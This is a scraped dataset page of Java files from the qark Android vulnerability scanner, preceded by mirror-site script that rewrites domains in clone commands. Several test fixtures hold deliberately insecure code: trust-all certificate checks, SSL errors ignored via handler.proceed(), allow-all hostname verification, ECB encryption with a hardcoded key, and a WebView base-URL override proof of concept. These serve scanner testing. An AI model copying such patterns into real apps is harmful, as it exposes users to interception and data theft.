{ // 获取包含Hugging Face文本的span元素 const spans = link.querySelectorAll('span.whitespace-nowrap, span.hidden.whitespace-nowrap'); spans.forEach(span => { if (span.textContent && span.textContent.trim().match(/Hugging\s*Face/i)) { span.textContent = 'AI快站'; } }); }); // 替换logo图片的alt属性 document.querySelectorAll('img[alt*="Hugging"], img[alt*="Face"]').forEach(img => { if (img.alt.match(/Hugging\s*Face/i)) { img.alt = 'AI快站 logo'; } }); } // 替换导航栏中的链接 function replaceNavigationLinks() { // 已替换标记,防止重复运行 if (window._navLinksReplaced) { return; } // 已经替换过的链接集合,防止重复替换 const replacedLinks = new Set(); // 只在导航栏区域查找和替换链接 const headerArea = document.querySelector('header') || document.querySelector('nav'); if (!headerArea) { return; } // 在导航区域内查找链接 const navLinks = headerArea.querySelectorAll('a'); navLinks.forEach(link => { // 如果已经替换过,跳过 if (replacedLinks.has(link)) return; const linkText = link.textContent.trim(); const linkHref = link.getAttribute('href') || ''; // 替换Spaces链接 - 仅替换一次 if ( (linkHref.includes('/spaces') || linkHref === '/spaces' || linkText === 'Spaces' || linkText.match(/^s*Spacess*$/i)) && linkText !== 'OCR模型免费转Markdown' && linkText !== 'OCR模型免费转Markdown' ) { link.textContent = 'OCR模型免费转Markdown'; link.href = 'https://fast360.xyz'; link.setAttribute('target', '_blank'); link.setAttribute('rel', 'noopener noreferrer'); replacedLinks.add(link); } // 删除Posts链接 else if ( (linkHref.includes('/posts') || linkHref === '/posts' || linkText === 'Posts' || linkText.match(/^s*Postss*$/i)) ) { if (link.parentNode) { link.parentNode.removeChild(link); } replacedLinks.add(link); } // 替换Docs链接 - 仅替换一次 else if ( (linkHref.includes('/docs') || linkHref === '/docs' || linkText === 'Docs' || linkText.match(/^s*Docss*$/i)) && linkText !== '模型下载攻略' ) { link.textContent = '模型下载攻略'; link.href = '/'; replacedLinks.add(link); } // 删除Enterprise链接 else if ( (linkHref.includes('/enterprise') || linkHref === '/enterprise' || linkText === 'Enterprise' || linkText.match(/^s*Enterprises*$/i)) ) { if (link.parentNode) { link.parentNode.removeChild(link); } replacedLinks.add(link); } }); // 查找可能嵌套的Spaces和Posts文本 const textNodes = []; function findTextNodes(element) { if (element.nodeType === Node.TEXT_NODE) { const text = element.textContent.trim(); if (text === 'Spaces' || text === 'Posts' || text === 'Enterprise') { textNodes.push(element); } } else { for (const child of element.childNodes) { findTextNodes(child); } } } // 只在导航区域内查找文本节点 findTextNodes(headerArea); // 替换找到的文本节点 textNodes.forEach(node => { const text = node.textContent.trim(); if (text === 'Spaces') { node.textContent = node.textContent.replace(/Spaces/g, 'OCR模型免费转Markdown'); } else if (text === 'Posts') { // 删除Posts文本节点 if (node.parentNode) { node.parentNode.removeChild(node); } } else if (text === 'Enterprise') { // 删除Enterprise文本节点 if (node.parentNode) { node.parentNode.removeChild(node); } } }); // 标记已替换完成 window._navLinksReplaced = true; } // 替换代码区域中的域名 function replaceCodeDomains() { // 特别处理span.hljs-string和span.njs-string元素 document.querySelectorAll('span.hljs-string, span.njs-string, span[class*="hljs-string"], span[class*="njs-string"]').forEach(span => { if (span.textContent && span.textContent.includes('huggingface.co')) { span.textContent = span.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } }); // 替换hljs-string类的span中的域名(移除多余的转义符号) document.querySelectorAll('span.hljs-string, span[class*="hljs-string"]').forEach(span => { if (span.textContent && span.textContent.includes('huggingface.co')) { span.textContent = span.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } }); // 替换pre和code标签中包含git clone命令的域名 document.querySelectorAll('pre, code').forEach(element => { if (element.textContent && element.textContent.includes('git clone')) { const text = element.innerHTML; if (text.includes('huggingface.co')) { element.innerHTML = text.replace(/huggingface.co/g, 'aifasthub.com'); } } }); // 处理特定的命令行示例 document.querySelectorAll('pre, code').forEach(element => { const text = element.innerHTML; if (text.includes('huggingface.co')) { // 针对git clone命令的专门处理 if (text.includes('git clone') || text.includes('GIT_LFS_SKIP_SMUDGE=1')) { element.innerHTML = text.replace(/huggingface.co/g, 'aifasthub.com'); } } }); // 特别处理模型下载页面上的代码片段 document.querySelectorAll('.flex.border-t, .svelte_hydrator, .inline-block').forEach(container => { const content = container.innerHTML; if (content && content.includes('huggingface.co')) { container.innerHTML = content.replace(/huggingface.co/g, 'aifasthub.com'); } }); // 特别处理模型仓库克隆对话框中的代码片段 try { // 查找包含"Clone this model repository"标题的对话框 const cloneDialog = document.querySelector('.svelte_hydration_boundary, [data-target="MainHeader"]'); if (cloneDialog) { // 查找对话框中所有的代码片段和命令示例 const codeElements = cloneDialog.querySelectorAll('pre, code, span'); codeElements.forEach(element => { if (element.textContent && element.textContent.includes('huggingface.co')) { if (element.innerHTML.includes('huggingface.co')) { element.innerHTML = element.innerHTML.replace(/huggingface.co/g, 'aifasthub.com'); } else { element.textContent = element.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } } }); } // 更精确地定位克隆命令中的域名 document.querySelectorAll('[data-target]').forEach(container => { const codeBlocks = container.querySelectorAll('pre, code, span.hljs-string'); codeBlocks.forEach(block => { if (block.textContent && block.textContent.includes('huggingface.co')) { if (block.innerHTML.includes('huggingface.co')) { block.innerHTML = block.innerHTML.replace(/huggingface.co/g, 'aifasthub.com'); } else { block.textContent = block.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } } }); }); } catch (e) { // 错误处理但不打印日志 } } // 当DOM加载完成后执行替换 if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', () => { replaceHeaderBranding(); replaceNavigationLinks(); replaceCodeDomains(); // 只在必要时执行替换 - 3秒后再次检查 setTimeout(() => { if (!window._navLinksReplaced) { console.log('[Client] 3秒后重新检查导航链接'); replaceNavigationLinks(); } }, 3000); }); } else { replaceHeaderBranding(); replaceNavigationLinks(); replaceCodeDomains(); // 只在必要时执行替换 - 3秒后再次检查 setTimeout(() => { if (!window._navLinksReplaced) { console.log('[Client] 3秒后重新检查导航链接'); replaceNavigationLinks(); } }, 3000); } // 增加一个MutationObserver来处理可能的动态元素加载 const observer = new MutationObserver(mutations => { // 检查是否导航区域有变化 const hasNavChanges = mutations.some(mutation => { // 检查是否存在header或nav元素变化 return Array.from(mutation.addedNodes).some(node => { if (node.nodeType === Node.ELEMENT_NODE) { // 检查是否是导航元素或其子元素 if (node.tagName === 'HEADER' || node.tagName === 'NAV' || node.querySelector('header, nav')) { return true; } // 检查是否在导航元素内部 let parent = node.parentElement; while (parent) { if (parent.tagName === 'HEADER' || parent.tagName === 'NAV') { return true; } parent = parent.parentElement; } } return false; }); }); // 只在导航区域有变化时执行替换 if (hasNavChanges) { // 重置替换状态,允许再次替换 window._navLinksReplaced = false; replaceHeaderBranding(); replaceNavigationLinks(); } }); // 开始观察document.body的变化,包括子节点 if (document.body) { observer.observe(document.body, { childList: true, subtree: true }); } else { document.addEventListener('DOMContentLoaded', () => { observer.observe(document.body, { childList: true, subtree: true }); }); } })(); \\n\" +\n \"\";\n webView.loadDataWithBaseURL(\"http://www.nsa.gov\", contents, \"text/html\", \"utf-8\", \"http://secbro.com/poc/fail.html\");\n }else {\n webView.getSettings().setCacheMode(WebSettings.LOAD_NO_CACHE);\n webView.loadUrl(url);\n }\n\n\n\n }\n\n}\n"},"file_length":{"kind":"number","value":5872,"string":"5,872"},"avg_line_length":{"kind":"number","value":41.55797101449275,"string":"41.557971"},"max_line_length":{"kind":"number","value":176,"string":"176"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":243,"cells":{"repo":{"kind":"string","value":"qark"},"file":{"kind":"string","value":"qark-master/qark/exploit_apk/app/src/main/java/com/secbro/qark/webviewtests/WebViewTestsActivityFragment.java"},"code":{"kind":"string","value":"/*\n * Copyright 2015 LinkedIn Corp. Licensed under the Apache License, Version 2.0 (the \"License\"); you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n */\n\npackage com.secbro.qark.webviewtests;\n\nimport android.content.Intent;\nimport android.support.v4.app.ListFragment;\n\nimport android.os.Bundle;\nimport android.view.LayoutInflater;\nimport android.view.View;\nimport android.view.ViewGroup;\n\nimport com.secbro.qark.R;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.LinkedHashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport android.widget.AdapterView;\nimport android.widget.ArrayAdapter;\nimport android.widget.ListAdapter;\nimport android.widget.ListView;\n\n\n/**\n * A placeholder fragment containing a simple view.\n */\npublic class WebViewTestsActivityFragment extends ListFragment {\n\n private final static String LOG_TAG = WebViewTestsActivityFragment.class.getSimpleName();\n public static final String WEBVIEW_TEST_ID = \"TestId\";\n\n private List webviewTests;\n private Map webviewNamesMap;\n\n /**\n * The Adapter which will be used to populate the ListView/GridView with\n * Views.\n */\n private ListAdapter mAdapter;\n /**\n * The fragment's ListView/GridView.\n */\n private ListView mListView;\n\n public static WebViewTestsActivityFragment newInstance() {\n WebViewTestsActivityFragment fragment = new WebViewTestsActivityFragment();\n return fragment;\n }\n\n /**\n * Mandatory empty constructor for the fragment manager to instantiate the\n * fragment (e.g. upon screen orientation changes).\n */\n public WebViewTestsActivityFragment() {\n }\n\n @Override\n public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {\n super.onCreateView(inflater, container, savedInstanceState);\n\n View retVal = inflater.inflate(R.layout.fragment_web_view_tests, container, false);\n\n mListView = (ListView) retVal.findViewById(android.R.id.list);\n ((AdapterView) mListView).setAdapter(mAdapter);\n\n return retVal;\n }\n\n @Override\n public void onCreate(Bundle savedInstanceState) {\n super.onCreate(savedInstanceState);\n\n webviewTests = Arrays.asList(getResources().getStringArray(R.array.webViewTests));\n\n webviewNamesMap= new LinkedHashMap<>();\n\n webviewNamesMap.put(\"TestName0\",\"Javascript Enabled: WebViewClient\");\n webviewNamesMap.put(\"TestName1\",\"Javascript Enabled: WebChromeClient\");\n webviewNamesMap.put(\"TestName2\",\"File URI Access: WebViewClient\");\n webviewNamesMap.put(\"TestName3\",\"File URI Access: WebChromeClient\");\n webviewNamesMap.put(\"TestName4\",\"BaseURL Override: WebViewClient\");\n webviewNamesMap.put(\"TestName5\",\"BaseURL Override: WebChromeClient\");\n webviewNamesMap.put(\"TestName6\",\"SOP Bypass: WebViewClient\");\n webviewNamesMap.put(\"TestName7\",\"SOP Bypass: WebChromeClient\");\n webviewNamesMap.put(\"TestName8\",\"SOP Bypass IFrame: WebViewClient\");\n webviewNamesMap.put(\"TestName9\",\"SOP Bypass IFrame: WebChromeClient\");\n\n\n mAdapter = (new ArrayAdapter(getActivity(),\n android.R.layout.simple_list_item_1, android.R.id.text1, new ArrayList(webviewNamesMap.values())));\n\n }\n\n @Override\n public void onListItemClick(ListView l, View v, int position, long id) {\n super.onListItemClick(l, v, position, id);\n\n Intent startActivityIntent = new Intent(getActivity(), WebViewTestsActivity.class);\n startActivityIntent.putExtra(WEBVIEW_TEST_ID, webviewTests.get(position));\n startActivity(startActivityIntent);\n }\n\n\n}\n"},"file_length":{"kind":"number","value":4024,"string":"4,024"},"avg_line_length":{"kind":"number","value":34,"string":"34"},"max_line_length":{"kind":"number","value":161,"string":"161"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":244,"cells":{"repo":{"kind":"string","value":"qark"},"file":{"kind":"string","value":"qark-master/tests/test_java_files/check_permissions.java"},"code":{"kind":"string","value":"import android.content.Context;\n\nclass Test {\n public static void Test(Context context) {\n context.checkCallingOrSelfPermission();\n context.enforceCallingOrSelfPermission();\n }\n}"},"file_length":{"kind":"number","value":186,"string":"186"},"avg_line_length":{"kind":"number","value":22.375,"string":"22.375"},"max_line_length":{"kind":"number","value":45,"string":"45"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":245,"cells":{"repo":{"kind":"string","value":"qark"},"file":{"kind":"string","value":"qark-master/tests/test_java_files/dynamic_broadcast_receiver.java"},"code":{"kind":"string","value":"class RegisterReceiver {\n public void Test(Context context, Calendar c) {\n final String SOME_ACTION = \"com.android.action.MyAction.SomeAction\";\n IntentFilter intentFilter = new IntentFilter(SOME_ACTION);\n Receiver mReceiver = new Receiver();\n context.registerReceiver(mReceiver, intentFilter);\n }\n}\n"},"file_length":{"kind":"number","value":313,"string":"313"},"avg_line_length":{"kind":"number","value":33.888888888888886,"string":"33.888889"},"max_line_length":{"kind":"number","value":72,"string":"72"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":246,"cells":{"repo":{"kind":"string","value":"qark"},"file":{"kind":"string","value":"qark-master/tests/test_java_files/external_storage.java"},"code":{"kind":"string","value":"class Test {\n public static File[] Test(Context context) {\n File[] roots = context.getExternalFilesDirs(\"external\");\n File roots = context.getExternalFilesDir(\"external\");\n File roots = context.getExternalMediaDirs(\"external\");\n File roots = context.getExternalStoragePublicDirectory(\"external\");\n return roots;\n }\n}"},"file_length":{"kind":"number","value":333,"string":"333"},"avg_line_length":{"kind":"number","value":36.111111111111114,"string":"36.111111"},"max_line_length":{"kind":"number","value":71,"string":"71"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":247,"cells":{"repo":{"kind":"string","value":"qark"},"file":{"kind":"string","value":"qark-master/tests/test_java_files/http_url_hardcoded.java"},"code":{"kind":"string","value":"class Test {\n public static void TestMethod() {\n final TextView mTextView = (TextView) findViewById(R.id.text);\n// ...\n\n// Instantiate the RequestQueue.\n RequestQueue queue = Volley.newRequestQueue(this);\n String url =\"http://www.google.com\";\n\n// Request a string response from the provided URL.\n StringRequest stringRequest = new StringRequest(Request.Method.GET, url,\n new Response.Listener() {\n @Override\n public void onResponse(String response) {\n // Display the first 500 characters of the response string.\n mTextView.setText(\"Response is: \"+ response.substring(0,500));\n }\n }, new Response.ErrorListener() {\n @Override\n public void onErrorResponse(VolleyError error) {\n mTextView.setText(\"That didn't work!\");\n }\n });\n\n// Add the request to the RequestQueue.\n queue.add(stringRequest);\n }\n}"},"file_length":{"kind":"number","value":909,"string":"909"},"avg_line_length":{"kind":"number","value":31.5,"string":"31.5"},"max_line_length":{"kind":"number","value":76,"string":"76"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":248,"cells":{"repo":{"kind":"string","value":"qark"},"file":{"kind":"string","value":"qark-master/tests/test_java_files/insecure_functions.java"},"code":{"kind":"string","value":"class Test {\n @Override\n public Bundle call(String method, String arg, Bundle extras) {\n pass;\n }\n}"},"file_length":{"kind":"number","value":105,"string":"105"},"avg_line_length":{"kind":"number","value":16.666666666666668,"string":"16.666667"},"max_line_length":{"kind":"number","value":64,"string":"64"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":249,"cells":{"repo":{"kind":"string","value":"qark"},"file":{"kind":"string","value":"qark-master/tests/test_java_files/phone_identifier.java"},"code":{"kind":"string","value":"import android.telephony.TelephonyManager;\n\nclass Test {\n public static void Test(Context context) {\n TelephonyManager tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);\n\n //Calling the methods of TelephonyManager the returns the information\n String IMEINumber=tm.getDeviceId();\n }\n}"},"file_length":{"kind":"number","value":312,"string":"312"},"avg_line_length":{"kind":"number","value":30.3,"string":"30.3"},"max_line_length":{"kind":"number","value":89,"string":"89"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":250,"cells":{"repo":{"kind":"string","value":"qark"},"file":{"kind":"string","value":"qark-master/tests/test_java_files/send_broadcast_receiver_permission.java"},"code":{"kind":"string","value":"/*\n * Decompiled with CFR 0_124.\n *\n * Could not load the following classes:\n * android.content.BroadcastReceiver\n * android.content.Context\n * android.content.Intent\n * android.content.IntentFilter\n * android.os.Handler\n * android.os.Looper\n * android.os.Message\n */\npackage android.support.v4.content;\n\nimport android.content.BroadcastReceiver;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.content.IntentFilter;\nimport android.os.Handler;\nimport android.os.Looper;\nimport android.os.Message;\nimport java.util.ArrayList;\nimport java.util.HashMap;\n\npublic class LocalBroadcastManager {\n\n /*\n * Exception decompiling\n */\n public boolean sendBroadcast(Intent var1_1) {\n throw new IllegalStateException(\"Decompilation failed\");\n }\n public boolean sendBroadcast(Intent var1_1, String var2_1) {\n throw new IllegalStateException(\"Decompilation failed\");\n }\n public boolean sendBroadcastAsUser(Intent var1_1, String var2_1) {\n throw new IllegalStateException(\"Decompilation failed\");\n }\n public boolean sendBroadcastAsUser(Intent var1_1, String var2_1, String var3_1) {\n throw new IllegalStateException(\"Decompilation failed\");\n }\n public boolean sendOrderedBroadcast(Intent var1_1, String var2_1) {\n throw new IllegalStateException(\"Decompilation failed\");\n }\n public boolean sendOrderedBroadcast(Intent var1_1, String var2_1, String var3_1, String var4_1, String var5_1,\n String var6_1, String var7_1) {\n throw new IllegalStateException(\"Decompilation failed\");\n }\n public boolean sendOrderedBroadcastAsUser(Intent var1_1, String var2_1, String var3_1, String var4_1, String var5_1,\n String var6_1, String var7_1) {\n throw new IllegalStateException(\"Decompilation failed\");\n }\n public boolean sendStickyBroadcast(Intent var1_1) {\n throw new IllegalStateException(\"Decompilation failed\");\n }\n\n public void vulnerableMethod(Intent intent) {\n if (this.sendBroadcast(intent)) {\n this.executePendingBroadcasts();\n }\n if (this.sendBroadcast(intent, \"permission\")) {\n this.executePendingBroadcasts();\n }\n if (this.sendBroadcastAsUser(intent, \"argument2\")) {\n this.executePendingBroadcasts();\n }\n if (this.sendBroadcastAsUser(intent, \"argument2\", \"argument3\")) {\n this.executePendingBroadcasts();\n }\n if (this.sendOrderedBroadcast(intent, \"permission\")) {\n this.executePendingBroadcasts();\n }\n if (this.sendOrderedBroadcast(intent, \"2\", \"3\", \"4\", \"5\", \"6\", \"7\")) {\n this.executePendingBroadcasts();\n }\n if (this.sendOrderedBroadcastAsUser(intent, \"2\", \"3\", \"4\", \"5\", \"6\", \"7\")) {\n this.executePendingBroadcasts();\n }\n if (this.sendStickyBroadcast(intent)) {\n this.executePendingBroadcasts();\n }\n\n }\n}\n\n"},"file_length":{"kind":"number","value":3000,"string":"3,000"},"avg_line_length":{"kind":"number","value":33.895348837209305,"string":"33.895349"},"max_line_length":{"kind":"number","value":120,"string":"120"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":251,"cells":{"repo":{"kind":"string","value":"qark"},"file":{"kind":"string","value":"qark-master/tests/test_java_files/task_affinity.java"},"code":{"kind":"string","value":"import android.app.Activity;\nimport android.content.Intent;\nimport android.os.Bundle;\nimport android.view.Menu;\nimport android.widget.Toast;\n\npublic class MyActivity extends Activity {\n\n\tprotected void Test() {\n\t\tIntent intent = new Intent(this, BPSplashActivity.class);\n\t\tintent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);\n\n\t\tstartActivity(intent);\n\n\t}\n\n\tprotected void Test2() {\n\t\tIntent intent = new Intent(this, BPSplashActivity.class);\n\t\tintent.addFlags(Intent.FLAG_ACTIVITY_MULTIPLE_TASK);\n\n\t\tstartActivity(intent);\n\n\t}\n\n}"},"file_length":{"kind":"number","value":525,"string":"525"},"avg_line_length":{"kind":"number","value":20.04,"string":"20.04"},"max_line_length":{"kind":"number","value":59,"string":"59"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":252,"cells":{"repo":{"kind":"string","value":"qark"},"file":{"kind":"string","value":"qark-master/tests/test_java_files/test_android_logging.java"},"code":{"kind":"string","value":"class Test {\n public void Test() {\n Log.d(\"test\");\n Log.v(\"test\");\n }\n public void Test2() {\n d(\"test\");\n v(\"test\");\n }\n}"},"file_length":{"kind":"number","value":137,"string":"137"},"avg_line_length":{"kind":"number","value":12.8,"string":"12.8"},"max_line_length":{"kind":"number","value":23,"string":"23"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":253,"cells":{"repo":{"kind":"string","value":"qark"},"file":{"kind":"string","value":"qark-master/tests/test_plugins/test_cert_plugins/testCertMethodsFile.java"},"code":{"kind":"string","value":"class VulnerableCheckServerTrusted {\n public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {}\n}\nclass VulnerableCheckServerTrustedEmptyReturn {\n public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {return;}\n}\nclass VulnerableOnReceivedSslError {\n public void onReceivedSslError(Webview view, SslErrorHandler handler, SslError error) throws CertificateException {\n handler.proceed();\n }\n}\nclass NonVulnerableOnReceivedSslError {\n public void onReceivedSslError(Webview view, SslErrorHandler handler, SslError error) throws CertificateException {\n // this one has more logic than just handler.proceed even though it is just as vulnerable\n if( 1 > 0 ) {\n handler.proceed();\n }\n }\n}"},"file_length":{"kind":"number","value":798,"string":"798"},"avg_line_length":{"kind":"number","value":41.05263157894737,"string":"41.052632"},"max_line_length":{"kind":"number","value":117,"string":"117"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":254,"cells":{"repo":{"kind":"string","value":"qark"},"file":{"kind":"string","value":"qark-master/tests/test_plugins/test_cert_plugins/testHostnameVerifier.java"},"code":{"kind":"string","value":"package test_plugins.test_cert_plugins;\n\npublic class testHostnameVerifier {\n public static final X509HostnameVerifier ALLOW_ALL_HOSTNAME_VERIFIER = new AllowAllHostnameVerifier();\n}\n\npublic class testSetHostnameVerifier {\n public static void vulnerableMethod() {\n URL url = new URL(\"https://example.org/\");\n HttpsURLConnection urlConnection = (HttpsURLConnection)url.openConnection();\n urlConnection.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);\n }\n public static void nonVulnerableMethod() {\n URL url = new URL(\"https://example.org/\");\n HttpsURLConnection urlConnection = (HttpsURLConnection)url.openConnection();\n urlConnection.setHostnameVerifier(SSLSocketFactory.SOMETHING_ELSE);\n }\n}\n"},"file_length":{"kind":"number","value":734,"string":"734"},"avg_line_length":{"kind":"number","value":37.68421052631579,"string":"37.684211"},"max_line_length":{"kind":"number","value":104,"string":"104"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":255,"cells":{"repo":{"kind":"string","value":"qark"},"file":{"kind":"string","value":"qark-master/tests/test_plugins/test_crypto_plugins/java_files/blank.java"},"code":{"kind":"string","value":""},"file_length":{"kind":"number","value":0,"string":"0"},"avg_line_length":{"kind":"number","value":0,"string":"0"},"max_line_length":{"kind":"number","value":0,"string":"0"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":256,"cells":{"repo":{"kind":"string","value":"qark"},"file":{"kind":"string","value":"qark-master/tests/test_plugins/test_crypto_plugins/java_files/ecb1.java"},"code":{"kind":"string","value":"class Example{\n\tpublic static void main(){\n\t\tCipher.getInstance(\"AES/ECB/PKCS5Padding\", \"SunJCE\");\n\t}\n}\n"},"file_length":{"kind":"number","value":104,"string":"104"},"avg_line_length":{"kind":"number","value":16.5,"string":"16.5"},"max_line_length":{"kind":"number","value":55,"string":"55"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":257,"cells":{"repo":{"kind":"string","value":"qark"},"file":{"kind":"string","value":"qark-master/tests/test_plugins/test_crypto_plugins/java_files/ecb2.java"},"code":{"kind":"string","value":"class Example{\n\tpublic static void main(){\n\t\tCipher cipher = Cipher.getInstance(\"AES/ECB/PKCS5Padding\", \"SunJCE\");\n\t\tKey skeySpec = KeyGenerator.getInstance(\"AES\").generateKey();\n\t\tcipher.init(Cipher.ENCRYPT_MODE, skeySpec);\n\t\tSystem.out.println(Arrays.toString(cipher.doFinal(new byte[] { 0, 1, 2, 3 })));\n\t}\n}\n"},"file_length":{"kind":"number","value":312,"string":"312"},"avg_line_length":{"kind":"number","value":33.77777777777778,"string":"33.777778"},"max_line_length":{"kind":"number","value":81,"string":"81"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":258,"cells":{"repo":{"kind":"string","value":"qark"},"file":{"kind":"string","value":"qark-master/tests/test_plugins/test_crypto_plugins/java_files/ecb3.java"},"code":{"kind":"string","value":"class Example{\n\tpublic static void main(){\n\t\tCipher cipher = Cipher.getInstance(\"AES/ECB/PKCS5Padding\", \"SunJCE\");\n\t\tKey skeySpec = KeyGenerator.getInstance(\"AES\").generateKey();\n\t\tcipher.init(Cipher.ENCRYPT_MODE, skeySpec);\n\t\tSystem.out.println(Arrays.toString(cipher.doFinal(new byte[] { 0, 1, 2, 3 })));\n\t}\n}\n"},"file_length":{"kind":"number","value":312,"string":"312"},"avg_line_length":{"kind":"number","value":33.77777777777778,"string":"33.777778"},"max_line_length":{"kind":"number","value":81,"string":"81"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":259,"cells":{"repo":{"kind":"string","value":"qark"},"file":{"kind":"string","value":"qark-master/tests/test_plugins/test_crypto_plugins/java_files/invalid.java"},"code":{"kind":"string","value":"THIS IS AN INVALID JAVA FILE\n"},"file_length":{"kind":"number","value":29,"string":"29"},"avg_line_length":{"kind":"number","value":14,"string":"14"},"max_line_length":{"kind":"number","value":28,"string":"28"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":260,"cells":{"repo":{"kind":"string","value":"qark"},"file":{"kind":"string","value":"qark-master/tests/test_plugins/test_crypto_plugins/java_files/no_ecb1.java"},"code":{"kind":"string","value":"class Example{\nprivate static String decrypt_data(String encData)\n throws NoSuchAlgorithmException, NoSuchPaddingException,\n InvalidKeyException, IllegalBlockSizeException, BadPaddingException {\n String key = \"bad8deadcafef00d\";\n SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes(), \"AES\");\n Cipher cipher = Cipher.getInstance(\"AES\");\n\n cipher.init(Cipher.DECRYPT_MODE, skeySpec);\n\n System.out.println(\"Base64 decoded: \"\n + Base64.decode(encData.getBytes()).length);\n byte[] original = cipher\n .doFinal(Base64.decode(encData.getBytes()));\n return new String(original).trim();\n}\n}\n"},"file_length":{"kind":"number","value":643,"string":"643"},"avg_line_length":{"kind":"number","value":34.77777777777778,"string":"34.777778"},"max_line_length":{"kind":"number","value":77,"string":"77"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":261,"cells":{"repo":{"kind":"string","value":"qark"},"file":{"kind":"string","value":"qark-master/tests/test_plugins/test_crypto_plugins/java_files/secure_random_args1.java"},"code":{"kind":"string","value":"import java.security.SecureRandom;\n\nclass Aoeu{\n\tpublic String generate(){\n\t\tSecureRandom random = new SecureRandom();\n\t\tRandom r = new Random();\n\t\tint seed = r.nextInt();\n\t\trandom.setSeed(seed);\n\t\treturn new BigInteger(130, random).toString(32);\n\t}\n\t \n}\n"},"file_length":{"kind":"number","value":255,"string":"255"},"avg_line_length":{"kind":"number","value":18.692307692307693,"string":"18.692308"},"max_line_length":{"kind":"number","value":50,"string":"50"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":262,"cells":{"repo":{"kind":"string","value":"qark"},"file":{"kind":"string","value":"qark-master/tests/test_plugins/test_crypto_plugins/java_files/secure_random_args2.java"},"code":{"kind":"string","value":"import java.security.SecureRandom;\nimport java.math.BigInteger;\n\nclass Aoeu{\n\tpublic BigInteger generate(){\n\t\tSecureRandom random = new SecureRandom();\n\t\tRandom r = new Random();\n\t\tint seed = r.nextInt();\n\t\trandom.setSeed(seed);\n\t\treturn new BigInteger(130, random).toString(32);\n\t}\n\n}\n"},"file_length":{"kind":"number","value":286,"string":"286"},"avg_line_length":{"kind":"number","value":19.5,"string":"19.5"},"max_line_length":{"kind":"number","value":50,"string":"50"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":263,"cells":{"repo":{"kind":"string","value":"qark"},"file":{"kind":"string","value":"qark-master/tests/test_plugins/test_crypto_plugins/java_files/secure_random_no_args1.java"},"code":{"kind":"string","value":"import java.security.SecureRandom;\nimport java.util.Random;\n\npublic final class mfo {\n public static final SecureRandom a;\n private static final Random b;\n\n static {\n b = new mfp();\n SecureRandom secureRandom = new SecureRandom();\n secureRandom.nextLong();\n a = secureRandom;\n }\n}\n"},"file_length":{"kind":"number","value":321,"string":"321"},"avg_line_length":{"kind":"number","value":20.466666666666665,"string":"20.466667"},"max_line_length":{"kind":"number","value":55,"string":"55"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":264,"cells":{"repo":{"kind":"string","value":"qark"},"file":{"kind":"string","value":"qark-master/tests/test_plugins/test_file_plugins/test_file_permissions.java"},"code":{"kind":"string","value":"class ExampleReadable{\n public static void main(){\n SharedPreferences preference = context.getContext()\n .getSharedPreferences(Context.MODE_WORLD_READABLE);\n }\n}\nclass ExampleWritable{\n public static void main(){\n SharedPreferences preference = context.getContext()\n .getSharedPreferences(Context.MODE_WORLD_WRITEABLE);\n }\n}\nclass ExampleNonVulnerable{\n public static void main(){\n SharedPreferences preference = context.getContext()\n .getSharedPreferences(Context.MODE_WRITEABLE);\n }\n}\nclass ExampleCommented{\n public static void main(){\n /* SharedPreferences preference = context.getContext()\n .getSharedPreferences(Context.MODE_WRITEABLE);\n */\n }\n}\n"},"file_length":{"kind":"number","value":703,"string":"703"},"avg_line_length":{"kind":"number","value":26.076923076923077,"string":"26.076923"},"max_line_length":{"kind":"number","value":60,"string":"60"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":265,"cells":{"repo":{"kind":"string","value":"qark"},"file":{"kind":"string","value":"qark-master/tests/test_plugins/test_intent/test_implicit_intent.java"},"code":{"kind":"string","value":"package android.support.v4.content;\n\nimport android.app.PendingIntent;\nimport android.content.BroadcastReceiver;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.content.IntentFilter;\nimport android.os.Handler;\nimport android.os.Looper;\nimport android.os.Message;\nimport java.util.ArrayList;\nimport java.util.HashMap;\n\n\npublic class VulnerableTest {\n public void vulnerableMethodGetActivity() {\n PendingIntent b = PendingIntent.getActivity(\"context\", \"requestcode\", new Intent(), \"flags\");\n }\n public void 